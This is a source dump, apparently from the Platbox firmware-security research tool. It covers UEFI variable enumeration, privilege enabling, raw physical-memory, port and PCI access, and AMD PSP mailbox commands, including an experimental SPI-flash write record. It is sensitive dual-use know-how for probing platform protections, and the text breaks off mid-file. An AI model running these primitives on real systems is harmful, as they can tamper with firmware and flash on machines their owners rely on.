| 46 | #define MAX_E820_DESCRIPTORS 64 47 | #define IOCTL_GET_EFI_MEMORY_MAP CTL_CODE(FILE_DEVICE_UNKNOWN, 0x814, METHOD_BUFFERED, FILE_ANY_ACCESS) 48 | 49 | #pragma pack (push, 8) /* in case driver and application 50 | get compiled differently */ 51 | typedef struct _E820_DESCRIPTOR { 52 | UINT64 Base; 53 | UINT64 Size; 54 | ULONG Type; 55 | ULONG ExtAttr; // not actually used by WINLOAD 56 | } E820_DESCRIPTOR, * PE820_DESCRIPTOR; 57 | 58 | typedef struct _E820_MAP { 59 | ULONG Count; 60 | E820_DESCRIPTOR Descriptors[MAX_E820_DESCRIPTORS]; 61 | } E820_MAP, * PE820_MAP; 62 | 63 | #pragma pack (pop) 64 | 65 | struct ACPISDTHeader { 66 | char Signature[4]; 67 | uint32_t Length; 68 | uint8_t Revision; 69 | uint8_t Checksum; 70 | char OEMID[6]; 71 | char OEMTableID[8]; 72 | uint32_t OEMRevision; 73 | uint32_t CreatorID; 74 | uint32_t CreatorRevision; 75 | }; 76 | 77 | struct GenericAddressStructure 78 | { 79 | uint8_t AddressSpace; 80 | uint8_t BitWidth; 81 | uint8_t BitOffset; 82 | uint8_t AccessSize; 83 | uint64_t Address; 84 | }; 85 | 86 | typedef struct { 87 | ACPISDTHeader Header; 88 | DWORD FIRMWARE_CTRL; 89 | DWORD DSDT; 90 | BYTE Reserved; 91 | BYTE Preferred_PM_Profile; 92 | WORD SCI_INT; 93 | DWORD SMI_CMD; 94 | BYTE ACPI_ENABLE; 95 | BYTE ACPI_DISABLE; 96 | BYTE S4BIOS_REQ; 97 | BYTE PSTATE_CNT; 98 | DWORD PM1a_EVT_BLK; 99 | DWORD PM1b_EVT_BLK; 100 | DWORD PM1a_CNT_BLK; 101 | DWORD PM1b_CNT_BLK; 102 | DWORD PM2_CNT_BLK; 103 | DWORD PM_TMR_BLK; 104 | DWORD GPE0_BLK; 105 | DWORD GPE1_BLK; 106 | BYTE PM1_EVT_LEN; 107 | BYTE PM1_CNT_LEN; 108 | BYTE PM2_CNT_LEN; 109 | BYTE PM_TMR_LEN; 110 | BYTE GPE0_BLK_LEN; 111 | BYTE GPE1_BLK_LEN; 112 | BYTE GPE1_BASE; 113 | BYTE CST_CNT; 114 | WORD P_LVL2_LAT; 115 | WORD P_LVL3_LAT; 116 | WORD FLUSH_SIZE; 117 | WORD FLUSH_STRIDE; 118 | BYTE DUTY_OFFSET; 119 | BYTE DUTY_WIDTH; 120 | BYTE DAY_ALRM; 121 | BYTE MON_ALRM; 122 | BYTE CENTURY; 123 | WORD IAPC_BOOT_ARCH; 124 | BYTE Reserved2; 125 | DWORD Flags; 126 | struct GenericAddressStructure RESET_REG; 127 | BYTE RESET_VALUE; 128 | BYTE Reserved3[3]; 129 | DWORD64 X_FIRMWARE_CTRL; 130 | DWORD64 X_DSDT; 131 | struct GenericAddressStructure X_PM1a_EVT_BLK; 132 | struct GenericAddressStructure X_PM1b_EVT_BLK; 133 | struct GenericAddressStructure X_PM1a_CNT_BLK; 134 | struct GenericAddressStructure X_PM1b_CNT_BLK; 135 | struct GenericAddressStructure X_PM2_CNT_BLK; 136 | struct GenericAddressStructure X_PM_TMR_BLK; 137 | struct GenericAddressStructure X_GPE0_BLK; 138 | struct GenericAddressStructure X_GPE1_BLK; 139 | } RTACPI_FADT, RTACPI_FACP; 140 | 141 | UINT32 GetFADT_Address(); 142 | 143 | 144 | 145 | #define SE_CREATE_TOKEN 2 146 | #define SE_ASSIGNPRIMARYTOKEN 3 147 | #define SE_LOCK_MEMORY 4 148 | #define SE_INCREASE_QUOTA 5 149 | #define SE_UNSOLICITED_INPUT 6 150 | #define SE_TCB 7 151 | #define SE_SECURITY 8 152 | #define SE_TAKE_OWNERSHIP 9 153 | #define SE_LOAD_DRIVER 10 154 | #define SE_SYSTEM_PROFILE 11 155 | #define SE_SYSTEMTIME 12 156 | #define SE_PROF_SINGLE_PROCESS 13 157 | #define SE_INC_BASE_PRIORITY 14 158 | #define SE_CREATE_PAGEFILE 15 159 | #define SE_CREATE_PERMANENT 16 160 | #define SE_BACKUP 17 161 | #define SE_RESTORE 18 162 | #define SE_SHUTDOWN 19 163 | #define SE_DEBUG 20 164 | #define SE_AUDIT 21 165 | #define SE_SYSTEM_ENVIRONMENT 22 166 | #define SE_CHANGE_NOTIFY 23 167 | #define SE_REMOTE_SHUTDOWN 24 168 | #define SE_UNDOCK 25 169 | #define SE_SYNC_AGENT 26 170 | #define SE_ENABLE_DELEGATION 27 171 | #define SE_MANAGE_VOLUME 28 172 | #define SE_IMPERSONATE 29 173 | #define SE_CREATE_GLOBAL 30 174 | #define SE_TRUSTED_CREDMAN_ACCESS 31 175 | #define SE_RELABEL 32 176 | #define SE_INC_WORKING_SET 33 177 | #define SE_TIME_ZONE 34 178 | #define SE_CREATE_SYMBOLIC_LINK 35 179 | 180 | 181 | typedef NTSTATUS(WINAPI * _RtlAdjustPrivilege)(IN ULONG Privilege, IN BOOL Enable, IN BOOL CurrentThread, OUT PULONG pPreviousState); 182 | 183 | extern _RtlAdjustPrivilege RtlAdjustPrivilege; 184 | 185 | NTSTATUS enable_privilege(ULONG privId); 186 | void get_more_privileges(void); -------------------------------------------------------------------------------- /PlatboxLib/src/UEFIVars.cpp: -------------------------------------------------------------------------------- 1 | // Written by Enrique Nissim (IOActive) 06/2018 2 | 3 | #include "UEFIVars.h" 4 | #include "Util.h" 5 | 6 | 7 | const char * UEFI_VARIABLE_ATTRIBUTES[] = { 8 | "NV", //"NON_VOLATILE", 9 | "BS", //"BOOTSERVICE_ACCESS", 10 | "RT", //RUNTIME_ACCESS", 11 | "HR", //"HARDWARE_ERROR_RECORD", 12 | "AW", //"AUTHENTICATED_WRITE_ACCESS", 13 | "TA", //"TIME_BASED_AUTHENTICATED_WRITE_ACCESS", 14 | "AW", //"APPEND_WRITE", 15 | }; 16 | 17 | 18 | 19 | 20 | 21 | 22 | #ifdef _WIN32 23 | 24 | void display_variable_attributes(DWORD attributes) { 25 | int i; 26 | for (i = 0; i < ARRAYSIZE(UEFI_VARIABLE_ATTRIBUTES); i++) 27 | if ((1 << i) & attributes) 28 | printf("%s|", UEFI_VARIABLE_ATTRIBUTES[i]); 29 | } 30 | 31 | 32 | void list_unprotected_variables(PVARIABLE_NAME_AND_VALUE buffer) { 33 | for (; buffer; buffer = buffer->NextEntryOffset ? (PVARIABLE_NAME_AND_VALUE)((PBYTE)buffer + buffer->NextEntryOffset) : NULL) 34 | { 35 | if (buffer->Attributes & EFI_VARIABLE_RUNTIME_ACCESS && 36 | buffer->Attributes & EFI_VARIABLE_NON_VOLATILE && 37 | !(buffer->Attributes & EFI_VARIABLE_AUTHENTICATED_WRITE_ACCESS) && 38 | !(buffer->Attributes & EFI_VARIABLE_TIME_BASED_AUTHENTICATED_WRITE_ACCESS) 39 | ) 40 | { 41 | printf("\n%S", buffer->Name); 42 | display_guid(&buffer->VendorGuid); 43 | printf("|"); 44 | display_variable_attributes(buffer->Attributes); 45 | } 46 | } 47 | printf("\n"); 48 | } 49 | 50 | void list_all(PVARIABLE_NAME_AND_VALUE buffer) { 51 | for (; buffer; buffer = buffer->NextEntryOffset ? (PVARIABLE_NAME_AND_VALUE)((PBYTE)buffer + buffer->NextEntryOffset) : NULL) 52 | { 53 | printf("\n%S", buffer->Name); 54 | //puts("VendorGUID: "); 55 | display_guid(&buffer->VendorGuid); 56 | printf("|"); 57 | //printf("\nAttributes: %08x\n", buffer->Attributes); 58 | display_variable_attributes(buffer->Attributes); 59 | //puts("\n"); 60 | //printf("\nLength of Data: %08x\n", buffer->ValueLength); 61 | //if (buffer->ValueLength && buffer->ValueOffset) { 62 | // print_memory(0x00, ((char *)buffer + buffer->ValueOffset), buffer->ValueLength); 63 | //} 64 | } 65 | } 66 | 67 | 68 | 69 | 70 | _NtEnumerateSystemEnvironmentValuesEx NtEnumerateSystemEnvironmentValuesEx; 71 | void list_uefi_variables() 72 | { 73 | HMODULE ntdll = LoadLibraryA("ntdll.dll"); 74 | NtEnumerateSystemEnvironmentValuesEx = (_NtEnumerateSystemEnvironmentValuesEx) 75 | GetProcAddress(ntdll, "NtEnumerateSystemEnvironmentValuesEx"); 76 | printf("NtEnumerateSystemEnvironmentValuesEx: %p\n", NtEnumerateSystemEnvironmentValuesEx); 77 | 78 | PVARIABLE_NAME_AND_VALUE buffer = NULL; 79 | DWORD bufferLen = 0; 80 | NTSTATUS status; 81 | 82 | get_more_privileges(); 83 | 84 | status = NtEnumerateSystemEnvironmentValuesEx(VARIABLE_INFORMATION_VALUES, NULL, &bufferLen); 85 | if (status == 0xC0000061) { 86 | printf("Not enough privileges!\n"); 87 | } 88 | 89 | if ((status == STATUS_BUFFER_TOO_SMALL) && bufferLen) 90 | { 91 | if (buffer = (PVARIABLE_NAME_AND_VALUE)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, bufferLen)) 92 | { 93 | status = NtEnumerateSystemEnvironmentValuesEx(VARIABLE_INFORMATION_VALUES, buffer, &bufferLen); 94 | if (NT_SUCCESS(status)) 95 | { 96 | list_all(buffer); 97 | } 98 | else { 99 | printf("\nError: \n", GetLastError()); 100 | } 101 | } 102 | if (buffer) { 103 | HeapFree(GetProcessHeap(), 0, buffer); 104 | } 105 | } 106 | 107 | } 108 | 109 | #endif -------------------------------------------------------------------------------- /PlatboxLib/src/Util.cpp: -------------------------------------------------------------------------------- 1 | // Written by Enrique Nissim (IOActive) 06/2018 2 | 3 | #include "Util.h" 4 | 5 | 6 | 7 | char **parse_arguments(char *command_line, char arg_delim) { 8 | char delim[2] = { 0 }; 9 | if (arg_delim == 0) { 10 | delim[0] = ' '; 11 | } 12 | else { 13 | delim[0] = arg_delim; 14 | } 15 | char **args = (char **)calloc(1, 0x40); 16 | char *token; 17 | char **p = args; 18 | unsigned int argc = 1; 19 | 20 | p++; 21 | token = strtok(command_line, delim); 22 | while (token != NULL) { 23 | *p = token; 24 | token = strtok(NULL, delim); 25 | p++; 26 | argc++; 27 | } 28 | 29 | *(unsigned int *)&args[0] = argc; 30 | 31 | return args; 32 | } 33 | 34 | void memcpy4(void *dst, void *src, size_t size) { 35 | int dws = size >> 2; 36 | int i = 0; 37 | for ( ; i < dws; i++) { 38 | ((int *)dst)[i] = ((int *)src)[i]; 39 | } 40 | 41 | int remainder = size & 0b11; 42 | if (remainder) { 43 | int buff = 0; 44 | for (int k = 0; k < remainder; k++) { 45 | ((char *)&buff)[k] = ((char *)src)[k]; 46 | } 47 | ((int *)dst)[i] = buff; 48 | } 49 | 50 | } 51 | 52 | void get_user_input(char *input, int size) { 53 | memset(input, 0x00, size); 54 | fgets(input, size, stdin); 55 | 56 | // clean the trailing '\n' 57 | char *pos; 58 | if ((pos = strchr(input, '\n')) != NULL) 59 | *pos = '\0'; 60 | } 61 | 62 | void hexstring_to_opcodes(char *hexstring, unsigned char **ppOpcodes, unsigned int *size) { 63 | char *pos = hexstring; 64 | unsigned int len = (strlen(hexstring) / 2) + 1; 65 | *size = len - 1; 66 | unsigned char *val = (unsigned char *) malloc(len); 67 | memset(val, 0x00, len); 68 | 69 | int i = 0; 70 | for (i = 0; i < *size; i++) { 71 | sscanf(pos, "%2hhx", &val[i]); 72 | pos += 2; 73 | } 74 | 75 | printf("0x"); 76 | for (i = 0; i < *size; i++) { 77 | printf("%02x", val[i]); 78 | } 79 | printf("\n"); 80 | 81 | *ppOpcodes = val; 82 | } 83 | 84 | // Economou function 85 | void print_memory(unsigned long address, char *buffer, unsigned int bytes_to_print) 86 | { 87 | unsigned int cont; 88 | unsigned int i; 89 | const unsigned short bytes = 16; 90 | 91 | /* Print the lines */ 92 | for (cont = 0; cont < bytes_to_print; cont = cont + bytes) 93 | { 94 | printf("%p | ", (void *)address); 95 | address = address + bytes; 96 | 97 | for (i = 0; i < bytes; i++) 98 | { 99 | if (i < (bytes_to_print - cont)) 100 | { 101 | printf("%.2x ", (unsigned char)buffer[i + cont]); 102 | } 103 | else 104 | { 105 | printf(" "); 106 | } 107 | } 108 | 109 | //Space between two columns 110 | printf("| "); 111 | 112 | //Print the characters 113 | for (i = 0; i < bytes; i++) 114 | { 115 | if (i < (bytes_to_print - cont)) 116 | { 117 | printf("%c", (isgraph(buffer[i + cont])) ? buffer[i + cont] : '.'); 118 | } 119 | else 120 | { 121 | printf(" "); 122 | } 123 | } 124 | printf("\n"); 125 | } 126 | } 127 | 128 | void error(char *msg) { 129 | fprintf(stderr, "Error: %s\n", msg); 130 | exit(-1); 131 | } 132 | 133 | unsigned int u32_swap(unsigned int x) { 134 | int byte0 = x >> 0 & 0xff; 135 | int byte1 = x >> 8 & 0xff; 136 | int byte2 = x >> 16 & 0xff; 137 | int byte3 = x >> 24 & 0xff; 138 | return (byte0 << 24) | (byte1 << 16) | (byte2 << 8) | byte3; 139 | } 140 | 141 | 142 | #ifdef _WIN32 143 | /* Return the first occurrence of NEEDLE in HAYSTACK. */ 144 | void * 145 | memmem (const void *haystack, size_t haystack_len, const void *needle, 146 | size_t needle_len) 147 | { 148 | const char *begin; 149 | const char *const last_possible 150 | = (const char *) haystack + haystack_len - needle_len; 151 | 152 | if (needle_len == 0) 153 | /* The first occurrence of the empty string is deemed to occur at 154 | the beginning of the string. */ 155 | return (void *) haystack; 156 | 157 | /* Sanity check, otherwise the loop might search through the whole 158 | memory. */ 159 | if ( haystack_len < needle_len, 0) 160 | return NULL; 161 | 162 | for (begin = (const char *) haystack; begin <= last_possible; ++begin) 163 | if (begin[0] == ((const char *) needle)[0] && 164 | !memcmp ((const void *) &begin[1], 165 | (const void *) ((const char *) needle + 1), 166 | needle_len - 1)) 167 | return (void *) begin; 168 | 169 | return NULL; 170 | } 171 | #endif 172 | 173 | void to_guid(const char *guid_str, GUID *guid_arg) { 174 | 175 | GUID guid; 176 | 177 | #ifdef __linux__ 178 | sscanf(guid_str, "%08lX-%04hX-%04hX-%02hhX%02hhX-%02hhX%02hhX%02hhX%02hhX%02hhX%02hhX", 179 | &guid.Data1, &guid.Data2, &guid.Data3, 180 | &guid.Data4[0], &guid.Data4[1], &guid.Data4[2], 181 | &guid.Data4[3], &guid.Data4[4], &guid.Data4[5], 182 | &guid.Data4[6], &guid.Data4[7]); 183 | #else //_WIN32 184 | sscanf_s(guid_str, "%08lX-%04hX-%04hX-%02hhX%02hhX-%02hhX%02hhX%02hhX%02hhX%02hhX%02hhX", 185 | &guid.Data1, &guid.Data2, &guid.Data3, 186 | &guid.Data4[0], &guid.Data4[1], &guid.Data4[2], 187 | &guid.Data4[3], &guid.Data4[4], &guid.Data4[5], 188 | &guid.Data4[6], &guid.Data4[7]); 189 | 190 | #endif 191 | 192 | 193 | memcpy(guid_arg, &guid, sizeof(GUID)); 194 | } 195 | 196 | 197 | void display_guid(GUID *guid) { 198 | printf("{%08lX-%04hX-%04hX-%02hhX%02hhX-%02hhX%02hhX%02hhX%02hhX%02hhX%02hhX}", 199 | guid->Data1, guid->Data2, guid->Data3, 200 | guid->Data4[0], guid->Data4[1], guid->Data4[2], guid->Data4[3], 201 | guid->Data4[4], guid->Data4[5], guid->Data4[6], guid->Data4[7]); 202 | } 203 | 204 | 205 | #ifdef _WIN32 206 | 207 | _RtlAdjustPrivilege RtlAdjustPrivilege; 208 | 209 | NTSTATUS enable_privilege(ULONG privId) 210 | { 211 | HMODULE ntdll = LoadLibraryA("ntdll.dll"); 212 | 213 | RtlAdjustPrivilege = (_RtlAdjustPrivilege) 214 | GetProcAddress(ntdll, "RtlAdjustPrivilege"); 215 | 216 | ULONG previousState; 217 | 218 | NTSTATUS status = RtlAdjustPrivilege(privId, TRUE, FALSE, &previousState); 219 | if (NT_SUCCESS(status)) { 220 | debug_print("Privilege \'%u\' OK\n", privId); 221 | } else { 222 | debug_print("RtlAdjustPrivilege (%u) %08x\n", privId, status); 223 | } 224 | 225 | return status; 226 | } 227 | 228 | void get_more_privileges(void) { 229 | enable_privilege(SE_SYSTEM_ENVIRONMENT); 230 | enable_privilege(SE_LOAD_DRIVER); 231 | //enable_privilege(SE_SECURITY); 232 | //enable_privilege(SE_TCB); 233 | //enable_privilege(SE_BACKUP); 234 | //enable_privilege(SE_RESTORE); 235 | //enable_privilege(SE_DEBUG); 236 | } 237 | 238 | #endif -------------------------------------------------------------------------------- /PlatboxLib/src/_run_attempt.asm: -------------------------------------------------------------------------------- 1 | PUBLIC _run_attempt 2 | 3 | .code 4 | 5 | _run_attempt PROC PUBLIC 6 | ret 7 | 8 | _run_attempt ENDP 9 | 10 | END 11 | -------------------------------------------------------------------------------- /PlatboxLib/src/amd/amd_acpi.cpp: -------------------------------------------------------------------------------- 1 | #include "amd_acpi.h" 2 | #include "global.h" 3 | #include "pci.h" 4 | #include "Util.h" 5 | #include "physmem.h" 6 | #include "msr.h" 7 | #include "_io.h" 8 | 9 | UINT16 get_amd_smi_trigger_port() { 10 | char* ptr = (char *)map_physical_memory(AMD_ACPI_MMIO_BASE, 0x1000); 11 | //print_memory(0, ptr + ACPI_OFFSET_PMIO, 0x100); 12 | UINT16 smi_trigger = *(UINT16 *) (ptr + ACPI_PMIO_SMI_CMD); 13 | unmap_physical_memory(ptr, 0x1000); 14 | return smi_trigger; 15 | } 16 | 17 | void get_amd_smi_trigger_port_iopm() { 18 | enable_debug_mode(); 19 | io_outb(IO_PM_INDEX, 0x24); 20 | DWORD base = io_ind(IO_PM_DATA); 21 | printf("BASE %08x\n", base); 22 | } -------------------------------------------------------------------------------- /PlatboxLib/src/amd/amd_psp.cpp: -------------------------------------------------------------------------------- 1 | #include "amd_psp.h" 2 | 3 | 4 | #include "pci.h" 5 | #include "Util.h" 6 | #include "physmem.h" 7 | #include "msr.h" 8 | #include "UEFIVars.h" 9 | 10 | 11 | UINT32 smu_read32(UINT32 reg) { 12 | write_pci_dword(0,0,0, SMU_INDEX_ADDR >> 2, reg); 13 | return read_pci_dword(0,0,0, SMU_DATA_ADDR >> 2); 14 | } 15 | 16 | void smu_write32(UINT32 reg, UINT32 val) { 17 | write_pci_dword(0,0,0, SMU_INDEX_ADDR >> 2, reg); 18 | write_pci_dword(0,0,0, SMU_DATA_ADDR >> 2, val); 19 | } 20 | 21 | 22 | 23 | UINT64 get_psp_mbox_addr() { 24 | UINT64 amd_psp_addr = 0; 25 | if (do_read_msr(MSR_AMD_PSP_ADDR, &amd_psp_addr) ) { 26 | return amd_psp_addr + PSP_MAILBOX_COMMAND_OFFSET; 27 | } 28 | 29 | return 0; 30 | } 31 | 32 | 33 | UINT32 read_psp_psb_status() { 34 | return smu_read32(SMU_PSP_PUBLIC_BASE + PSP_MAILBOX_PSB_STATUS_OFFSET); 35 | } 36 | 37 | UINT32 read_psp_mbox_config2() { 38 | return smu_read32(SMU_PSP_PUBLIC_BASE + PSP_MAILBOX_CONFIG2_OFFSET); 39 | } 40 | 41 | UINT32 read_psp_feature_reg() { 42 | return smu_read32(SMU_PSP_PUBLIC_BASE + PSP_MAILBOX_FEATURE_REG); 43 | } 44 | 45 | UINT32 read_psp_mbox_cmd_status() { 46 | return smu_read32(SMU_PSP_PUBLIC_BASE + PSP_MAILBOX_COMMAND_OFFSET); 47 | } 48 | 49 | void set_psp_mbox_cmd_status(UINT32 status) { 50 | smu_write32(SMU_PSP_PUBLIC_BASE + PSP_MAILBOX_COMMAND_OFFSET, status); 51 | } 52 | 53 | UINT64 read_psp_mbox_buffer_address() { 54 | UINT64 addr = smu_read32(SMU_PSP_PUBLIC_BASE + PSP_MAILBOX_BUFFER_H_OFFSET) << 32; 55 | return addr | smu_read32(SMU_PSP_PUBLIC_BASE + PSP_MAILBOX_BUFFER_L_OFFSET); 56 | } 57 | 58 | void set_psp_mbox_buffer_address(UINT64 address) { 59 | smu_write32(SMU_PSP_PUBLIC_BASE + PSP_MAILBOX_BUFFER_H_OFFSET, (UINT32) (address >> 32)); 60 | smu_write32(SMU_PSP_PUBLIC_BASE + PSP_MAILBOX_BUFFER_L_OFFSET, (UINT32) address); 61 | } 62 | 63 | 64 | UINT16 get_psp_mbox_status() { 65 | union pspv2_mbox_command mbox_cmd; 66 | mbox_cmd.val = read_psp_mbox_cmd_status(); 67 | return mbox_cmd._mbox_fields.status; 68 | } 69 | 70 | void write_psp_mbox_cmd(UINT8 cmd) { 71 | union pspv2_mbox_command mbox_cmd = {0}; 72 | mbox_cmd._mbox_fields.command = cmd; 73 | set_psp_mbox_cmd_status(mbox_cmd.val); 74 | } 75 | 76 | 77 | 78 | void send_psp_msg(BYTE psp_cmd, UINT64 buffer_physaddr) 79 | { 80 | 81 | UINT32 mailbox_status = 0x0; 82 | 83 | mailbox_status = read_psp_mbox_cmd_status(); 84 | 85 | // Check if recovery flag is set 86 | if ((mailbox_status & 0x40000000) != 0) 87 | { 88 | printf("Recovery flag detected\n"); 89 | } 90 | 91 | // Check if reset required flag is set 92 | if ((mailbox_status & 0x20000000) != 0) 93 | { 94 | printf("Reset required flag detected\n"); 95 | } 96 | 97 | // Check if mailbox is ready 98 | while (((mailbox_status & 0x80000000) == 0) || ((mailbox_status & 0x00FF0000) != 0)) 99 | { 100 | printf("Mailbox is not ready\n"); 101 | mailbox_status = read_psp_mbox_cmd_status(); 102 | } 103 | 104 | 105 | set_psp_mbox_buffer_address(buffer_physaddr); 106 | write_psp_mbox_cmd(psp_cmd); 107 | 108 | // Wait until done 109 | while ((read_psp_mbox_cmd_status() & 0x00FF0000) != 0) 110 | continue; 111 | 112 | } 113 | 114 | 115 | 116 | void armor_spi_transaction() { 117 | 118 | 119 | // Prepare PSP payload buffer 120 | const UINT alloc_size = PAGE_SIZE; 121 | struct alloc_user_physmem user_page = {0}; 122 | BOOL res = alloc_user_mem(alloc_size, &user_page); 123 | 124 | if (!res) { 125 | return; 126 | } 127 | 128 | struct alloc_user_physmem aux_page = {0}; 129 | res = alloc_user_mem(alloc_size, &aux_page); 130 | 131 | *(UINT32 *)aux_page.va = 0x41414141; 132 | 133 | ArmorSpiTransactionRecord *record = (ArmorSpiTransactionRecord *) user_page.va; 134 | record->record_size = sizeof(*record); 135 | record->flash_address = 0x10; 136 | record->trn_type = PSP_CMD_ARMOR_SPI_TRANSACTION_WRITE_OP; 137 | record->trn_length = 4; 138 | record->aux_memory_page = aux_page.pa; 139 | 140 | printf("psp message sent!\n"); 141 | send_psp_msg(PSP_CMD_ARMOR_SPI_TRANSACTION, user_page.pa); 142 | 143 | unmap_physical_memory((void *) user_page.va, PAGE_SIZE); 144 | unmap_physical_memory((void *) aux_page.va, PAGE_SIZE); 145 | 146 | } 147 | 148 | static const char *psb_test_status_to_string(UINT32 status) 149 | { 150 | switch (status) { 151 | case PSB_TEST_STATUS_PASS: 152 | return "Psb Test Status PASS"; 153 | case PSB_TEST_STATUS_FUSE_READ_ERR: 154 | return "Error reading fuse info"; 155 | case PSB_TEST_STATUS_BIOS_KEY_BAD_USAGE: 156 | return "OEM BIOS signing key usage flag violation"; 157 | case PSB_TEST_STATUS_BIOS_RTM_SIG_NOENT: 158 | return "BIOS RTM signature entry not found"; 159 | case PSB_TEST_STATUS_BIOS_RTM_COPY_ERR: 160 | return "BIOS copy to DRAM failed"; 161 | case PSB_TEST_STATUS_BIOS_RTM_BAD_SIG: 162 | return "BIOS RTM signature verification failed"; 163 | case PSB_TEST_STATUS_BIOS_KEY_BAD_SIG: 164 | return "OEM BIOS signing key failed signature verification"; 165 | case PSB_TEST_STATUS_PLATFORM_BAD_ID: 166 | return "Platform vendor id and/or model id binding violation"; 167 | case PSB_TEST_STATUS_BIOS_COPY_BIT_UNSET: 168 | return "BIOS copy bit unset for reset image"; 169 | case PSB_TEST_STATUS_BIOS_CA_BAD_SIG: 170 | return "OEM BIOS signing CA key failed signature verification"; 171 | case PSB_TEST_STATUS_BIOS_CA_BAD_USAGE: 172 | return "OEM BIOS signing CA key usage flag violation"; 173 | case PSB_TEST_STATUS_BIOS_KEY_BAD_REVISION: 174 | return "OEM BIOS signing key revision violation"; 175 | default: 176 | return "Unknown failure"; 177 | } 178 | } 179 | 180 | void print_psp_security_configuration() { 181 | UINT32 config = read_psp_psb_status(); 182 | 183 | printf("PSP Config at +10994h: %08x\n", config); 184 | printf(" - Platform vendor ID: %02x\n", config & 0xFF); 185 | printf(" - Platform model ID: %02x\n", (config >> 8) & 0xF); 186 | printf(" - BIOS key revision ID: %04x\n", (config >> 12) & 0xFFFF); 187 | printf(" - Root key select: %02x\n", (config >> 16) & 0xF); 188 | printf(" - Platform Secure Boot Enable: %d\n", (config >> 24) & 1); 189 | printf(" - Disable BIOS key anti-rollback: %d\n", (config >> 25) & 1); 190 | printf(" - Disable AMD key usage: %d\n", (config >> 26) & 1); 191 | printf(" - Disable secure debug unlock: %d\n", (config >> 27) & 1); 192 | printf(" - Customer key unlock: %d\n", (config >> 28) & 1); 193 | printf("\n"); 194 | 195 | 196 | config = read_psp_mbox_config2(); 197 | 198 | printf("PSP Config at +10998h: %08x\n", config); 199 | printf("- PSB status: %02x\n", config & 0xFF); 200 | printf("- PSB fusing readiness: %d\n", (config >> 8) & 1); 201 | printf("- HSTI state: %02x\n", config >> 28); 202 | printf("\n"); 203 | 204 | 205 | printf("HSTI State: %x\n", get_psp_hsti_state()); 206 | config = read_psp_feature_reg(); 207 | printf("PSP Feature REG: %x\n", config); 208 | config = config >> PSP_CAPABILITY_PSP_SECURITY_OFFSET; 209 | printf("PSP Feature REG (Security Capabilities): %x\n", config); 210 | printf(" - PSP Security Fused Part: %x\n", (config >> PSP_SECURITY_FUSED_PART) & 1); 211 | printf(" - PSP Security Debug Lock On: %x\n", (config >> PSP_SECURITY_DEBUG_LOCK_ON) & 1); 212 | printf(" - PSP Security TSME STATUS: %x\n", (config >> PSP_SECURITY_TSME_STATUS) & 1); 213 | printf(" - PSP Security Anti-Rollback Status: %x\n", (config >> PSP_SECURITY_ANTI_ROLLBACK_STATUS) & 1); 214 | printf(" - PSP Security RPMC Production Enabled: %x\n", (config >> PSP_SECURITY_RPMC_PRODUCTION_ENABLED) & 1); 215 | printf(" - PSP Security RPMC SPIROM Available: %x\n", (config >> PSP_SECURITY_RPMC_SPIROM_AVAILABLE) & 1); 216 | printf(" - PSP Security HSP TPM Available: %x\n", (config >> PSP_SECURITY_HSP_TPM_AVAILABLE) & 1); 217 | printf(" - PSP Security ROM ARMOR Enforced: %x\n", (config >> PSP_SECURITY_ROM_ARMOR_ENFORCED) & 1); 218 | 219 | } 220 | 221 | UINT32 get_psp_hsti_state() { 222 | struct alloc_user_physmem aux_page = {0}; 223 | bool res = alloc_user_mem(PAGE_SIZE, &aux_page); 224 | 225 | char *buffer = (char *) aux_page.va; 226 | 227 | memset(buffer, 0, 16); 228 | *(UINT32 *)(buffer + 0x0) = 0xC; 229 | *(UINT32 *)(buffer + 0x4) = 0x0; 230 | *(UINT32 *)(buffer + 0x8) = 0x0; 231 | 232 | send_psp_msg(PSP_CMD_GET_HSTI_STATE, aux_page.pa); 233 | 234 | UINT32 hsti = *(UINT32 *)(buffer + 8); 235 | unmap_physical_memory((void *)buffer, PAGE_SIZE); 236 | 237 | return hsti; 238 | } -------------------------------------------------------------------------------- /PlatboxLib/src/common_chipset.cpp: -------------------------------------------------------------------------------- 1 | #include "common_chipset.h" 2 | 3 | int get_processor_type() { 4 | 5 | #ifdef __linux__ 6 | UINT32 eax = 0, ebx = 0, ecx = 0, edx = 0; 7 | 8 | __get_cpuid(0, &eax, &ebx, &ecx, &edx); 9 | if ( ebx == signature_INTEL_ebx && edx == signature_INTEL_edx && ecx == signature_INTEL_ecx) { 10 | return _INTEL_PROCESSOR; 11 | } else if (ebx == signature_AMD_ebx && edx == signature_AMD_edx && ecx == signature_AMD_ecx) { 12 | return _AMD_PROCESSOR; 13 | } else { 14 | printf("Unknown architecture?\n"); 15 | return _UNKNOWN_UNSUPPORTED_ARCH; 16 | } 17 | 18 | 19 | #else // _WIN32 20 | int regs[4] = {0}; 21 | 22 | __cpuidex(®s[0], 0, 0); 23 | if ( regs[1] == signature_INTEL_ebx && regs[3] == signature_INTEL_edx && regs[2] == signature_INTEL_ecx) { 24 | return _INTEL_PROCESSOR; 25 | } else if (regs[1] == signature_AMD_ebx && regs[3] == signature_AMD_edx && regs[2] == signature_AMD_ecx) { 26 | return _AMD_PROCESSOR; 27 | } else { 28 | printf("Unknown architecture?\n"); 29 | return _UNKNOWN_UNSUPPORTED_ARCH; 30 | } 31 | 32 | #endif 33 | } 34 | 35 | 36 | void get_processor_model(BYTE *family, BYTE *model) { 37 | 38 | #ifdef __linux__ 39 | UINT32 eax = 0, ebx = 0, ecx = 0, edx = 0; 40 | 41 | __get_cpuid(1, &eax, &ebx, &ecx, &edx); 42 | *family = ((eax >> 20) & 0x000000FF) + ((eax >> 8) & 0x0000000F); 43 | *model = (((eax >> 16) & 0x0000000F) << 4) + ((eax >> 4) & 0x0000000F); 44 | 45 | 46 | #else // _WIN32 47 | int regs[4] = { 0 }; 48 | 49 | __cpuidex(®s[0], 1, 0); 50 | *family = ((regs[0] >> 20) & 0x000000FF) + ((regs[0] >> 8) & 0x0000000F); 51 | *model = (((regs[0] >> 16) & 0x0000000F) << 4) + ((regs[0] >> 4) & 0x0000000F); 52 | 53 | 54 | #endif 55 | } 56 | 57 | 58 | #define CPUID_VIR_PHY_ADDRESS_SIZE 0x80000008 59 | #define CPUID_EXTENDED_FUNCTION 0x80000000 60 | #define CPUID_STRUCTURED_EXTENDED_FEATURE_FLAGS 0x07 61 | int is_5_level_paging() { 62 | 63 | #ifdef __linux__ 64 | UINT32 eax = 0, ebx = 0, ecx = 0, edx = 0; 65 | 66 | UINT32 VirPhyAddressSize = 0; 67 | __get_cpuid(CPUID_EXTENDED_FUNCTION, &eax, &ebx, &ecx, 